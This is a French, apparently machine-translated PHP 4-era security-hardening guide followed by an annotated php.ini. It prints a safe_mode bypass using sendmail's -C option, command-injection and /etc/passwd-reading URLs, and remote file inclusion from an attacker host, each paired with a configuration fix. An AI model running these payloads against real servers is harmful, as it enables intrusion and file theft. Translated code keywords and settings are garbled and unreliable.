1. Sécurité du serveur Web
PHP n'est en fait qu'une fonction de module du serveur Web, la sécurité du serveur Web doit donc être assurée en premier. Bien entendu, pour qu’un serveur Web soit sécurisé, il doit d’abord assurer la sécurité du système, ce qui est encore loin. PHP peut être combiné avec différents serveurs Web, et seul Apache sera abordé ici. Il est fortement recommandé d'installer et de démarrer Apache en mode chroot. De cette façon, même s'il existe des vulnérabilités dans Apache, PHP et leurs scripts, seul le système restreint sera affecté et n'endommagera pas le système lui-même. Cependant, l'utilisation d'Apache chrooté entraînera également certains problèmes pour l'application. Par exemple, lors de la connexion à MySQL, l'adresse 127.0.0.1 doit être utilisée pour se connecter en utilisant TCP au lieu de localhost pour la connexion socket, ce qui est légèrement moins efficace. Il y a aussi un problème avec la fonction mail qui envoie des emails, car dans php.ini :
[fonction mail]
; Pour Win32 uniquement.
SMTP = hôte local
; Pour Win32 uniquement.
sendmail_from [email protected]
est destiné à la plate-forme Win32, donc sendmail doit être ajusté dans l'environnement chroot.
2. Problèmes avec PHP lui-même Administrateur réseau u.bitscn@com
1. Débordement à distance
Toutes les versions inférieures à PHP-4.1.2 présentent des vulnérabilités de débordement de tampon à distance dans le téléchargement de fichiers, et le programme d'attaque a été largement diffusé, avec un taux de réussite très élevé
2
.. Déni de service à distance
PHP-4.2.0 et PHP-4.2.1 présentent une vulnérabilité à distance dans le traitement des requêtes POST multipart/form-data Bien que les autorisations des utilisateurs locaux ne puissent pas être obtenues, cela peut également provoquer un déni de service.
3. La vulnérabilité de contournement du mode sécurisé
existe également dans PHP-4.2.2 et versions antérieures vers PHP-4.0.5. La fonction de messagerie PHP contourne la restriction du mode sécurisé et exécute des commandes. À partir de la version 4.0.5, la fonction de messagerie ajoute un cinquième paramètre. En raison de la conception, si vous ne faites pas attention, vous pouvez contourner les restrictions du safe_mode et exécuter des commandes. La percée dans la version 4.0.5 est très simple. Il suffit de le séparer par un point-virgule et d'ajouter la commande shell. Par exemple, s'il existe un script PHP evil.php :
exécutez l'URL suivante :
http://foo. com/evil.php?bar =;/usr/bin/id [email protected]
Cela enverra le résultat de l'exécution de l'identifiant à [email protected] .
Pour PHP de 4.0.6 à 4.2.2, le franchissement de la restriction safe_mode utilise en fait le paramètre -C de sendmail, le système doit donc utiliser sendmail. Le code suivant peut contourner les restrictions du mode sécurisé et exécuter des commandes :
#Remarque, les deux suivants ne doivent pas exister.
Ou leurs propriétaires sont les mêmes que ceux de ce script
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
clairsemé = 0
R$*" . chr(9) . "$#local $@ $ :
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("personne", "", "", "", "-C$cf");
?>
Les utilisateurs qui utilisent la version problématique ci-dessus de PHP doivent mettre à niveau vers la dernière version à temps, afin d'éliminer les problèmes de sécurité de base.
3. La configuration de sécurité de PHP lui-même.
La configuration de PHP est très flexible. Elle peut être définie via les fichiers php.ini, httpd.conf, .htaccess (AllowOverride All ou Options doivent être définis dans ce répertoire), et vous pouvez également le faire. utilisez ini_set() dans le programme de script et d'autres fonctions spécifiques à définir. Chaque valeur de l'option de configuration peut être obtenue via les fonctions phpinfo() et get_cfg_var().
Si l'option de configuration est le seul attribut PHP_INI_SYSTEM, elle doit être modifiée via php.ini et httpd.conf. Ils modifient la valeur PHP Master, mais après la modification, Apache doit être redémarré pour prendre effet. Les options définies dans php.ini sont efficaces pour tous les scripts du serveur Web, et les options définies dans httpd.conf sont efficaces pour tous les scripts du répertoire défini.
S'il existe d'autres options d'attribut PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL, vous pouvez utiliser le fichier .htaccess pour les définir, ou vous pouvez utiliser la fonction ini_set() dans le script lui-même pour les définir. Elles modifient la valeur locale et les modifications seront modifiées. prendre effet immédiatement. Cependant, .htaccess ne prend effet que pour le programme de script dans le répertoire actuel et la fonction ini_set() ne prend effet qu'après avoir défini la fonction ini_set() pour le programme de script. Les attributs des options de chaque version peuvent être différents. Vous pouvez utiliser la commande suivante pour rechercher le fichier main.c du code source actuel afin d'obtenir toutes les options et ses attributs :
# grep PHP_INI_ /PHP_SRC/main/main.c
Avant d'en discuter. Configuration de la sécurité PHP, vous devez avoir une bonne compréhension du mode safe_mode de PHP.
1. safe_mode
safe_mode est le seul attribut PHP_INI_SYSTEM et doit être défini via php.ini ou httpd.conf. Pour activer safe_mode, modifiez simplement php.ini :
safe_mode = Activé
Ou modifiez httpd.conf et définissez le répertoire :
Options FollowSymLinks
php_admin_value safe_mode 1
safe_mode prendra effet après le redémarrage d'Apache. L'activation de safe_mode restreindra de nombreuses fonctions PHP, en particulier l'ouverture de fichiers liées au système, l'exécution de commandes et d'autres fonctions.
Toutes les fonctions qui exploitent des fichiers n'exploiteront que les fichiers avec le même UID que le script. Par exemple, le contenu du script test.php est :
Les propriétés de plusieurs fichiers sont les suivantes :
# ls -la
total 13
drwxr-xr-x 2 racine racine 104 20 juillet 01:25 .
drwxr-xr-x 16 racine racine 384 18 juillet 12:02 ..
-rw-r--r-- 1 racine racine 4110 26 octobre 2002 index.html
-rw-r--r-- 1 www-data www-data 41 19 juillet 19:14 test.php
La demande de test.php dans le navigateur affichera le message d'erreur suivant :
Avertissement : Restriction en MODE SÉCURISÉ en vigueur Le script dont l'uid/gid est 33/33 n'est pas autorisé à accéder à ./index.html appartenant à l'uid/gid 0/0. dans /var/www/test.php à la ligne 1
Si l'UID du répertoire où se trouve le fichier manipulé est cohérent avec l'UID du script, alors l'UID du fichier est accessible même s'il est différent du script. Je me demande s'il s'agit d'une vulnérabilité en PHP ou si. il y a une autre raison cachée. Par conséquent, il est préférable que l'utilisateur qui est propriétaire du script php ne l'utilise qu'à cette fin. Il est absolument interdit d'utiliser root en tant que propriétaire du script php. Cela n'obtiendra pas l'effet de safe_mode.
Si vous souhaitez assouplir la comparaison du GID, vous pouvez envisager de comparer uniquement le GID du fichier en activant safe_mode_gid. Vous pouvez définir les options suivantes :
safe_mode_gid = On
Après avoir défini safe_mode, toutes les commandes exécutées seront limitées aux seules fonctions. spécifié dans safe_mode_exec_dir dans les programmes php.ini du répertoire, et shell_exec et `ls -l` ne pourront pas exécuter de commandes. Si vous avez vraiment besoin d'appeler d'autres programmes, vous pouvez définir les paramètres suivants dans php.ini :
safe_mode_exec_dir = /usr/local/php/exec
puis copier le programme dans ce répertoire, le script php peut alors utiliser le système et d'autres fonctions pour exécuter le programme. De plus, les scripts shell de ce répertoire peuvent toujours appeler des commandes système dans d'autres répertoires.
safe_mode_include_dir string
Remplacer les vérifications UID/GID lors de l'inclusion de fichiers de ce répertoire et de ses sous-répertoires (les répertoires doivent être dans include_path ou inclus avec les chemins complets).
À partir de PHP 4.2.0, cette directive peut accepter des chemins délimités par des points-virgules dans un style similaire à la directive include_path, plutôt qu'un simple répertoire.
La limite spécifiée est en réalité un préfixe et non un nom de répertoire. Cela signifie que "safe_mode_include_dir = /dir/incl" autorisera l'accès à "/dir/include" et "/dir/incls" s'ils existent. Si vous souhaitez restreindre l'accès à un répertoire spécifique, ajoutez une barre oblique finale, par exemple : "safe_mode_include_dir = /dir/incl/".
safe_mode_allowed_env_vars string
La définition de certaines variables d'environnement peut constituer une faille de sécurité potentielle. Cette directive contient une liste de préfixes séparés par des virgules. En mode sans échec, les utilisateurs ne peuvent modifier que les variables d'environnement dont les noms portent le préfixe fourni ici. Par défaut, les utilisateurs ne peuvent définir que des variables d'environnement commençant par PHP_ (par exemple, PHP_FOO = BAR).
Remarque : Si cette directive est vide, PHP permettra à l'utilisateur de modifier n'importe quelle variable d'environnement !
safe_mode_protected_env_vars string
Cette directive contient une liste de variables d'environnement séparées par des virgules que l'utilisateur final ne peut pas modifier à l'aide de putenv(). Ces variables ne peuvent pas être modifiées même lorsque la modification autorisée est définie dans safe_mode_allowed_env_vars.
Bien que safe_mode ne soit pas une panacée (les versions inférieures de PHP peuvent être contournées), il est tout de même fortement recommandé d'activer le mode sans échec, ce qui peut éviter dans une certaine mesure certaines attaques inconnues. Cependant, l'activation de safe_mode entraînera de nombreuses restrictions, qui peuvent affecter l'application, le code et la configuration doivent donc être ajustés pour parvenir à l'harmonie. Pour les fonctions restreintes ou bloquées par le mode sans échec, veuillez vous référer au manuel PHP.
Après avoir discuté du mode sécurisé, discutons de la manière d'éviter les vulnérabilités grâce à la configuration du serveur PHP en fonction des problèmes réels pouvant survenir dans le code du programme.
2. Abus de variables
PHP par défaut est register_globals = On. Les variables pour GET, POST, Cookie, Environment et Session peuvent être directement enregistrées en tant que variables globales. Leur ordre d'enregistrement est variables_order = "EGPCS" (peut être modifié via php.ini). Le côté droit de variables_order avec le même nom recouvre le côté gauche, donc l'abus de variables peut facilement provoquer une confusion dans le programme. De plus, les programmeurs de scripts n'ont souvent pas l'habitude d'initialiser des variables. Les fragments de programme comme ceux-ci sont extrêmement vulnérables aux attaques :
//test_1.php
si ($pass == "bonjour")
$auth = 1 ;
si ($auth == 1)
echo "quelques informations importantes" ;
autre
echo "rien" ;
?>
L'attaquant peut contourner la vérification en utilisant simplement la requête suivante :
http://victim/test_1.php?auth=1
Bien qu'il s'agisse d'une erreur très faible, certains programmes célèbres ont également commis cette erreur. Par exemple, la télécommande de phpnuke. vulnérabilité de copie de fichier : http://www.securityfocus.com/bid/3361
Lors de la sortie de PHP-4.1.0, il a été recommandé de désactiver Register_globals et de fournir 7 variables de tableau spéciales pour utiliser diverses variables. Les variables de GET, POST, COOKIE, etc. ne sont pas directement enregistrées en tant que variables et doivent être accessibles via des variables de tableau. Lorsque PHP-4.2.0 est sorti, la configuration par défaut de php.ini était register_globals = Off. Cela permet au programme d'utiliser la valeur par défaut initialisée par PHP lui-même, qui est généralement 0, empêchant les attaquants de contrôler les variables de jugement.
Solution :
Définissez register_globals = Off dans le fichier de configuration php.ini.
Le programmeur doit initialiser une valeur pour la variable de jugement au début du programme.
3. Le fichier ouvre
un extrait de code extrêmement vulnérable :
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Impossible d'ouvrir le fichier : $filename
n");
sortie;
}
autre {
écho $str;
}
?>
Puisque l'attaquant peut spécifier n'importe quel $filename, il peut voir /etc/passwd avec la requête suivante :
http://victim/test_2.php?filename=/etc/passwd
La requête suivante peut lire le fichier php lui-même :
http://victim/test_2.php?filename=test_2.php
Les fonctions d'ouverture de fichiers en PHP incluent fopen(), file(), etc. Si la variable de nom de fichier n'est pas strictement cochée, les fichiers importants sur le serveur seront accessibles et lire.
Solution :
sauf nécessité contraire, limitez les opérations sur les fichiers PHP au répertoire Web. Voici un exemple de modification du fichier de configuration Apache httpd.conf :
php_admin_value open_basedir /usr/local/apache/htdocs
Après le redémarrage d'Apache, le script PHP dans le répertoire /usr/local/apache/htdocs ne peut gérer que les fichiers de son propre répertoire, sinon PHP signalera une erreur :
Attention : la restriction open_basedir est en vigueur.
Le fichier est dans un mauvais répertoire dans xxx en ligne
.xx.
L'utilisation du mode safe_mode peut également éviter ce problème, qui a été évoqué précédemment.
4. Contient des fichiers
avec des extraits de code extrêmement vulnérables :
//test_3.php
si(file_exists($filename))
include("$nomfichier");
?>
Ce type de code irresponsable causera des dommages considérables. Un attaquant peut obtenir le fichier /etc/passwd en utilisant la requête suivante :
http://victim/test_3.php?filename=/etc/passwd
Si pour la version Unix de PHP ( La version Win de PHP ne prend pas en charge l'ouverture de fichiers à distance.) L'attaquant peut créer un fichier contenant des commandes shell sur la machine sur laquelle il a ouvert le service http ou ftp. Par exemple, le contenu de http://attack/attack.txt. est, alors la requête suivante Vous pouvez exécuter la commande ls /etc sur l'hôte cible :
http://victim/test_3.php?filename=http://attack/attack.txt
L'attaquant peut même utiliser le access.log et Fichiers journaux error.log contenant Apache pour Le code pour exécuter la commande est obtenu, mais parfois il n'est pas facile de réussir en raison de trop d'informations d'interférence.
Pour un autre formulaire, l'extrait de code suivant :
//test_4.php
include("$lib/config.php");
?>
L'attaquant peut créer un fichier config.php contenant le code d'exécution de la commande sur son propre hôte, puis utiliser la requête suivante pour exécuter la commande sur l'hôte cible :
http://victim/test_4.php?lib=http://attack
Les fonctions PHP incluses incluent include(), include_once(), require(), require_once. Si la variable contenant le nom du fichier n'est pas strictement vérifiée, cela entraînera un grave danger pour le système et la commande pourra être exécutée à distance.
Solution :
les programmeurs doivent essayer de ne pas utiliser de variables lors de l'inclusion de paramètres dans des fichiers. Si des variables sont utilisées, les noms de fichiers à inclure doivent être strictement vérifiés et ne doivent pas être spécifiés arbitrairement par l'utilisateur.
Par exemple, limiter le chemin des opérations PHP lors de l’ouverture précédente du fichier est une option nécessaire. De plus, sauf nécessité contraire, assurez-vous de désactiver la fonction d'ouverture de fichiers à distance de PHP. Modifiez le fichier php.ini :
allow_url_fopen = Off
Redémarrez Apache
[PHP]
; PHP est toujours un outil en évolution et ses fonctionnalités sont constamment supprimées.
; Et les modifications des paramètres de php.ini peuvent refléter des changements considérables,
; Avant d'utiliser une nouvelle version de PHP, il serait avantageux d'étudier php.ini
;;;;;;;;;;;;;;;;;;;;;
;À propos de ce document ;
;;;;;;;;;;;;;;;;;;;;;
Ce fichier contrôle de nombreux aspects de la vue PHP pour que PHP puisse lire ce fichier, il doit être nommé.
; 'php.ini'.PHP recherchera le fichier à ces endroits : le répertoire de travail actuel ;
; Le chemin spécifié ; le chemin spécifié lors de la compilation.
; Sous Windows, le chemin lors de la compilation est le répertoire d'installation de Windows.
; En mode ligne de commande, le chemin de recherche de php.ini peut être remplacé par le paramètre -c.
La syntaxe de ce fichier est très simple et les lignes commençant par un point-virgule ';' sont simplement ignorées.
; identique à celui deviné). Les titres de chapitre (par exemple : [Foo]) sont également simplement ignorés, même s'ils pourraient l'être à l'avenir.
; a une certaine signification.
;
Les directives ; sont spécifiées à l'aide de la syntaxe suivante :
identifiant de l'indicateur = valeur
; directive = valeur
; Indique que l'identifiant est *sensible à la casse* - foo=bar est différent de FOO = bar.
;
; La valeur peut être une chaîne, un nombre, une constante PHP (comme : E_ALL ou M_PI), une constante INI.
; A (Activé, Désactivé, Vrai, Faux, Oui, Non et Aucun) ou une expression
; (par exemple : E_ALL & ~E_NOTICE), ou une chaîne entre guillemets ("foo").
;
; Les expressions dans les fichiers INI sont limitées aux opérateurs bit à bit et aux parenthèses.
;
; & au niveau du bit ET
; ~ au niveau du bit NON
; booléen NON !
;
; Les drapeaux booléens peuvent être activés avec les valeurs 1, On, True ou Yes.
; Ils peuvent être désactivés avec les valeurs 0, Off, False ou No.
;
; Une chaîne vide peut être représentée en n'écrivant rien après le signe égal, ou en utilisant le mot-clé None :
;
; foo = ; Définit foo sur une chaîne vide
; foo = none ; Définit foo sur une chaîne vide
; foo = "aucun" ; Définissez foo sur la chaîne 'aucun'
;
; Si vous utilisez des constantes dans les paramètres de valeur et que ces constantes appartiennent à des bibliothèques d'extensions chargées dynamiquement (pas d'extensions PHP, c'est-à-dire
; extensions Zend), vous ne pouvez utiliser ces constantes que *après* les lignes qui appellent ces extensions.
;
; Toutes les valeurs définies dans le fichier php.ini-dist sont les mêmes que les valeurs par défaut intégrées (c'est-à-dire si php.ini
; n'est pas utilisé ou vous avez supprimé ces lignes, la valeur par défaut est la même
;;;;;;;;;;;;;;;;;;;;;
;Options de langue ;
;;;;;;;;;;;;;;;;;;;;;;
moteur = allumé
; Rendre le moteur de langage de script PHP disponible sous Apache.
short_open_tag = Activé
; Autorise la balise <? (cette représentation simple). Seules les balises <?php et <script> seront reconnues.
asp_tags = Désactivé
; Autoriser les balises <% %> de style ASP
précision=14
; Le nombre de chiffres effectifs lors de l'affichage de nombres à virgule flottante
y2k_compliance = Off
; S'il faut activer l'adaptation à l'an 2000 (peut causer des problèmes dans les navigateurs non adaptés à l'an 2000)
output_buffering = Off
La mise en cache de sortie vous permet d'envoyer des lignes d'en-tête (y compris les cookies) même après la sortie du contenu du corps.
; Le coût est que la couche de sortie ralentit un peu. Vous pouvez utiliser la mise en cache de sortie pour activer la mise en cache de sortie au moment de l'exécution,
; Ou activez la directive On ici pour activer la mise en cache de sortie pour tous les fichiers.
output_handler = ; Vous pouvez rediriger toutes les sorties de votre script vers une fonction,
; Cela pourrait être utile pour le traiter ou le journaliser.
; Par exemple, si vous définissez ce output_handler sur "ob_gzhandler",
; la sortie sera compressée de manière transparente pour les navigateurs prenant en charge l'encodage gzip ou deflate.
; Définit un processeur de sortie pour ouvrir automatiquement la mise en mémoire tampon de sortie.
implicit_flush = Désactivé
; Forcer le vidage pour indiquer à PHP d'indiquer à la couche de sortie d'actualiser automatiquement ses propres données après chaque bloc de sortie.
; Cela équivaut à appeler la fonction flush() après chaque appel print() ou echo() et après chaque bloc HTML.
; L'activation de ce paramètre entraînera de graves conflits d'exécution. Il est recommandé de l'activer uniquement pendant le débogage
.
; S'il faut forcer les appels de fonction à transmettre des paramètres par référence. Cette méthode a fait l'objet d'une protestation.
; et pourrait ne plus être pris en charge dans les futures versions de PHP/Zend.
; Il est encouragé de spécifier quels paramètres sont passés par référence dans la déclaration de fonction.
; Nous vous encourageons à essayer de désactiver cette option et à vérifier que vos scripts fonctionnent toujours correctement, pour garantir les futures versions du langage.
; Ils fonctionneront toujours. (Vous recevrez un avertissement à chaque fois que vous utiliserez cette fonctionnalité, et les paramètres seront par valeur plutôt que par référence.
; Passer).
; Mode sans échec
safe_mode = Désactivé
safe_mode_exec_dir =
safe_mode_allowed_env_vars = PHP_
; Définition de certaines variables d'environnement
; peut être une faille de sécurité potentielle.
; Cette directive contient une liste de préfixes séparés par des virgules. En mode sans échec, les utilisateurs ne peuvent remplacer que
les valeurs des variables d'environnement qui commencent par les préfixes répertoriés ici.
; Par défaut, les utilisateurs ne pourront définir que les variables d'environnement commençant par PHP_ (par exemple : PHP_FOO=BAR).
; REMARQUE : Si cette directive est vide, PHP permettra à l'utilisateur de modifier toutes les variables d'environnement
!
; Cette directive contient une liste de variables d'environnement séparées par des virgules que l'utilisateur final ne pourra pas modifier à l'aide de putenv().
; Ces variables sont protégées même lorsque safe_mode_allowed_env_vars est défini sur
Disable_functions =
.
; Cette directive vous permet de désactiver des fonctions spécifiques pour des raisons de sécurité.
; Il accepte une liste de noms de fonctions séparés par des virgules.
; Cette instruction n'est *pas* affectée par l'activation du mode sans échec
; La couleur du mode de coloration syntaxique.
; Tout ce qui est acceptable par <font color=???> fonctionnera
highlight.string = #DD0000.
highlight.comment = #FF8000
highlight.keyword = #007700
highlight.bg = #FFFFFF
highlight.default = #0000BB
highlight.html = #000000
; Divers Divers
expose_php = Désactivé
; Détermine si PHP doit indiquer le fait qu'il est installé sur le serveur (par exemple l'ajouter - PHP - au service web
; sur le signal envoyé).
; (Mon opinion personnelle est de désactiver cette option lorsqu'un en-tête d'alimentation apparaît.)
; Il ne pose aucune menace pour la sécurité, mais il permet de vérifier si PHP est installé sur votre serveur.
;;;;;;;;;;;;;;;;;;;;;
Limites des ressources ;
;;;;;;;;;;;;;;;;;;;;
max_execution_time = 30 ; Temps d'exécution maximum de chaque script, en secondes
memory_limit = 8388608 ; La quantité maximale de mémoire pouvant être utilisée par un script (ici 8 Mo)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Gestion des erreurs et journalisation ;
; Contrôle et enregistrement des erreurs ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Le rapport d'erreurs s'effectue au niveau du bit. Ou ajoutez les nombres pour obtenir le niveau de rapport d'erreurs souhaité.
; E_ALL - toutes les erreurs et avertissements
; E_ERROR - erreur d'exécution fatale
; E_WARNING - avertissement d'exécution (erreur non fatale)
; E_PARSE - erreur d'analyse au moment de la compilation
; E_NOTICE - rappels d'exécution (ceux-ci sont souvent causés par des bugs dans votre code,
; Cela peut également être dû à un comportement intentionnel (par exemple : utilisation d'une variable non initialisée basée sur
le fait que la variable non initialisée est automatiquement initialisée à une chaîne vide)
; E_CORE_ERROR - erreur fatale qui se produit lors du processus d'initialisation au démarrage de PHP ;
; E_CORE_WARNING - un avertissement (erreur non fatale) qui se produit pendant le processus d'initialisation au démarrage de PHP
; E_COMPILE_ERROR - erreur fatale à la compilation
; E_COMPILE_WARNING - avertissement lors de la compilation (erreur non fatale)
; E_USER_ERROR - message d'erreur généré par l'utilisateur
; E_USER_WARNING - message d'avertissement généré par l'utilisateur
; E_USER_NOTICE - message de rappel généré par l'utilisateur
; exemple:
; error_reporting = E_ALL & ~E_NOTICE ; Afficher toutes les erreurs sauf les rappels
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; Afficher uniquement les erreurs
error_reporting = E_ALL & ~E_NOTICE ; Afficher toutes les erreurs sauf les rappels
display_errors = On ; afficher les messages d'erreur (dans le cadre de la sortie)
; Sur le site Web final publié, il est fortement recommandé de désactiver cette fonctionnalité et d'utiliser
; Journal des erreurs à la place (voir ci-dessous).
Il est possible de continuer à activer display_errors dans le site Web final publié
; Exposer certaines informations liées à la sécurité, telles que les chemins de fichiers sur votre service Web,
; Configuration de votre base de données ou autres informations
display_startup_errors = Off ; Se produit pendant l'étape de démarrage de PHP même lorsque display_erroes est activé.
; les erreurs ne seront pas affichées.
; Il est fortement recommandé de garder display_startup_errors désactivé,
; Sauf pendant le processus de correction d'erreur.
log_errors = Off ; Enregistrer les erreurs dans le fichier journal (journal spécifique au serveur, sortie d'erreur standard stderr ou error_log (ci-dessous))
Comme indiqué ci-dessus, il est fortement recommandé de consigner les erreurs sur le site Web final publié.
; Remplace la sortie d'erreur directe
track_errors = Off ; Enregistre le dernier message d'erreur/avertissement dans la variable $php_errormsg (booléen)
;error_prepend_string = "<font color=ff0000>" ; La chaîne affichée avant le message d'erreur
;error_append_string = "</font>" ; La chaîne affichée après le message d'erreur
;error_log = nom de fichier ; Enregistrer le journal des erreurs dans le fichier spécifié
;error_log = syslog ; Enregistrer le journal des erreurs dans le journal système syslog (journal des événements sous NT, invalide sous Windows 95)
warn_plus_overloading = Off ; Avertir lors de l'utilisation de '+' avec des chaînes
;;;;;;;;;;;;;;;;;;
Traitement des données ;
;;;;;;;;;;;;;;;;;;; variables_order = "EGPCS" ; Cette directive décrit l'enregistrement PHP ;
; L'ordre des variables GET, POST, Cookie, Environnement et intégrées.
; (représenté par G, P, C, E & S, généralement référencé comme EGPCS ou GPC).
; Enregistre de gauche à droite, les nouvelles valeurs remplacent les anciennes valeurs.
register_globals = On ; S'il faut enregistrer ces variables EGPCS en tant que variables globales.
; Vous souhaiterez peut-être désactiver cette option si vous ne souhaitez pas que les données utilisateur soient encombrées globalement.
; Cela a plus de sens en conjonction avec track_vars - de cette façon, vous pouvez passer
; Le tableau $HTTP_*_VARS[] accède à toutes les variables GPC.
register_argc_argv = On ; Cette directive indique à PHP s'il doit déclarer les variables argv et argc.
; (Remarque : ici argv est un tableau et argc est le nombre de variables)
; (qui contient les données transmises à l'aide de la méthode GET).
; Si vous ne souhaitez pas utiliser ces variables, vous devez les désactiver pour améliorer les performances.
track_vars = On ; Rendre le tableau $HTTP_*_VARS[] valide, ici * est utilisé lors de l'utilisation
.
; Remplacement ENV, POST, GET, COOKIE ou SERVER
post_max_size = 8M ; Taille maximale des données POST acceptées par PHP.
gpc_order = "GPC" ; Cette directive est obsolète. Utilisez plutôt variables_order
;
magic_quotes_gpc = On ; Utiliser des guillemets magiques dans les données d'entrée GET/POST/Cookie
; (Le texte original est comme ça, haha, les soi-disant guillemets magiques devraient faire référence à l'utilisation de caractères d'échappement pour ajouter des caractères de contrôle de référence, tels que '....)
magic_quotes_runtime= Off ; Utiliser des guillemets magiques pour les données générées au moment de l'exécution,
; Par exemple : données obtenues par requête SQL, données obtenues par la fonction exec(), etc.
magic_quotes_sybase = Off ; Utiliser les guillemets magiques de style Sybase (utilisez 'extract' au lieu de '')
; Ajouter automatiquement les fichiers avant et après les documents PHP ;
auto_prepend_file =
auto_append_file =
; Comme 4.04b4, PHP affiche toujours par défaut l'encodage d'un caractère dans l'en-tête "Content-type:".
; Désactive le jeu de caractères de sortie tant qu'il est vide.
; La valeur par défaut intégrée de PHP est text/html
default_mimetype = "texte/html"
;default_charset = "iso-8859-1"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Chemins et répertoires ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include_path = ; inclure le paramètre de chemin, UNIX : "/path1:/path2" Windows : "path1;path2"
doc_root = ; Le chemin racine de la page php, valide uniquement lorsqu'il n'est pas vide.
user_dir = ; Indique à php quel répertoire rechercher lors de l'ouverture du script en utilisant /~username.
;upload_tmp_dir = ; Répertoire temporaire pour stocker les fichiers téléchargés à l'aide du protocole HTTP (utilisez la valeur par défaut du système si elle n'est pas spécifiée)
upload_max_filesize = 2097152 ; Le téléchargement de fichiers est limité à 2 Mo par défaut
extension_dir = c:php ; répertoire où les bibliothèques d'extensions chargeables (modules) sont stockées
activate_dl = On ; S'il faut activer dl().
; La fonction dl() *ne fonctionne pas* bien sur un serveur multithread,
; comme IIS ou Zeus, et désactivé par défaut sur eux
;;;;;;;;;;;;;;;;;;
; Téléchargements de fichiers ;
;;;;;;;;;;;;;;;;;;
file_uploads = On ; s'il faut autoriser les téléchargements de fichiers HTTP
;upload_tmp_dir = ; Répertoire temporaire pour les fichiers téléchargés via HTTP (la valeur par défaut du système est utilisée si elle n'est pas spécifiée)
upload_max_filesize = 2M; Taille maximale autorisée des fichiers téléchargés
;
;;;;;;;;;;;;;;;;;;;;
allow_url_fopen = On ; S'il faut autoriser le traitement des URL comme http:.. ou des fichiers comme ftp:...
;;;;;;;;;;;;;;;;;;;;;;;;
;Extension dynamique ;
; Extensions dynamiques ;
;;;;;;;;;;;;;;;;;;;;;;;;
; Si vous souhaitez qu'une bibliothèque d'extensions soit chargée automatiquement, utilisez la syntaxe suivante :
; extension=nomdumodule.extension
; Par exemple, sous Windows,
; extension=msql.dll
; ou sous UNIX,
; extension=msql.so
; Notez qu'il ne doit s'agir que du nom du module, il n'est pas nécessaire d'y mettre des informations sur le répertoire.
; Utilisez extension_dir ci-dessus pour indiquer l'emplacement de la bibliothèque d'extension spécifiée.
;Extension Windows
;extension=php_nsmail.dll
extension=php_calendar.dll
;extension=php_dbase.dll
;extension=php_filepro.dll
extension=php_gd.dll
;extension=php_dbm.dll
;extension=php_mssql.dll
;extension=php_zlib.dll
;extension=php_filepro.dll
;extension=php_imap4r2.dll
;extension=php_ldap.dll
;extension=php_crypt.dll
;extension=php_msql2.dll
;extension=php_odbc.dll
; Notez que le support de MySQL est désormais intégré, il n'est donc pas nécessaire d'utiliser sa dll
;;;;;;;;;;;;;;;;;;;;;
; Paramètres des modules ;
Paramètres des modules ;
;;;;;;;;;;;;;;;;;;;;
[Syslog]
définir_syslog_variables = Off ; s'il faut définir diverses variables de journal système
; Tels que : $LOG_PID, $LOG_CRON, etc.
Le désactiver est une bonne idée pour améliorer l’efficacité.
; Au moment de l'exécution, vous pouvez appeler la fonction définir_syslog_variables() pour définir ces variables
[fonction mail]
SMTP = localhost uniquement pour les systèmes win32 ;
sendmail_from [email protected] ; uniquement pour les systèmes win32
;sendmail_path = ;uniquement pour Unix, prend également en charge les paramètres (la valeur par défaut est 'sendmail -t -i')
[Débogueur]
débogueur.host = localhost
débogueur.port = 7869
debugger.enabled = False
[Journalisation]
; Ces configurations indiquent le mécanisme de journalisation utilisé pour les exemples.
; Voir examples/README.logging pour plus d'explications
;logging.method = base de données
;logging.directory = /chemin/vers/log/répertoire
[Java]
;java.class.path = .php_java.jar
;java.home = c:jdk
;java.library = c:jdkjrebinhotspotjvm.dll
;java.library.path = .
[SQL]
sql.safe_mode = Désactivé
[ODBC]
;uodbc.default_db = Pas encore implémenté
;uodbc.default_user = Pas encore implémenté
;uodbc.default_pw = Pas encore implémenté
uodbc.allow_persistent = On ; Autoriser ou désactiver les connexions persistantes
uodbc.check_persistent = On ; Vérifier si la connexion est toujours disponible avant de la réutiliser
uodbc.max_persistent = -1 ; Nombre maximum de connexions persistantes -1 signifie illimité.
uodbc.max_links = -1; Le nombre maximum de connexions (persistantes et non persistantes -1 représente une gestion illimitée du réseau u.bitsCN.com).
uodbc.defaultlrl = 4096; Contrôle les champs de type LONG Renvoie le nombre d'octets de la variable, 0 signifie passthru (?) 0 signifie passthru.
uodbc.defaultbinmode = 1; Contrôler les données binaires. 0 représente ???Gestion des données binaires 0 signifie passthru, 1 renvoyé tel quel, 2 converti en char.
Voir la documentation pour odbc_binmode et odbc_longreadlen pour une explication de uodbc.defaultlrl et uodbc.defaultbinmode
[MySQL]
.
mysql.allow_persistent = On ; Autoriser ou désactiver les connexions persistantes
mysql.max_persistent = -1 ; Nombre maximum de connexions persistantes -1 signifie illimité.
mysql.max_links = -1 ; Nombre maximum de connexions (persistantes et non persistantes) -1 signifie illimité.
mysql.default_port = ; Le port par défaut utilisé par mysql_connect() S'il n'est pas défini, mysql_connect().
; utilisera la variable $MYSQL_TCP_PORT, ou l'entrée mysql-tcp sous /etc/services (unix),
; Ou MYSQL_PORT est défini lors de la compilation (dans cet ordre)
; Environnement Win32, seul MYSQL_PORT sera vérifié.
mysql.default_socket = ; Le nom de socket par défaut utilisé pour les connexions MySql locales S'il est vide, utilisez la valeur intégrée MYSQL
mysql.default_host = ; L'hôte utilisé par mysql_connect() par défaut (invalide en mode sans échec)
mysql.default_user = ; mysql_connect() Nom d'utilisateur utilisé par défaut (invalide en mode sans échec)
mysql.default_password = ; Le mot de passe utilisé par mysql_connect() par défaut (invalide en mode sans échec)
; Notez que sauvegarder les mots de passe sous ce fichier est généralement une *mauvaise* idée
; *Tout* utilisateur ayant accès à PHP peut exécuter
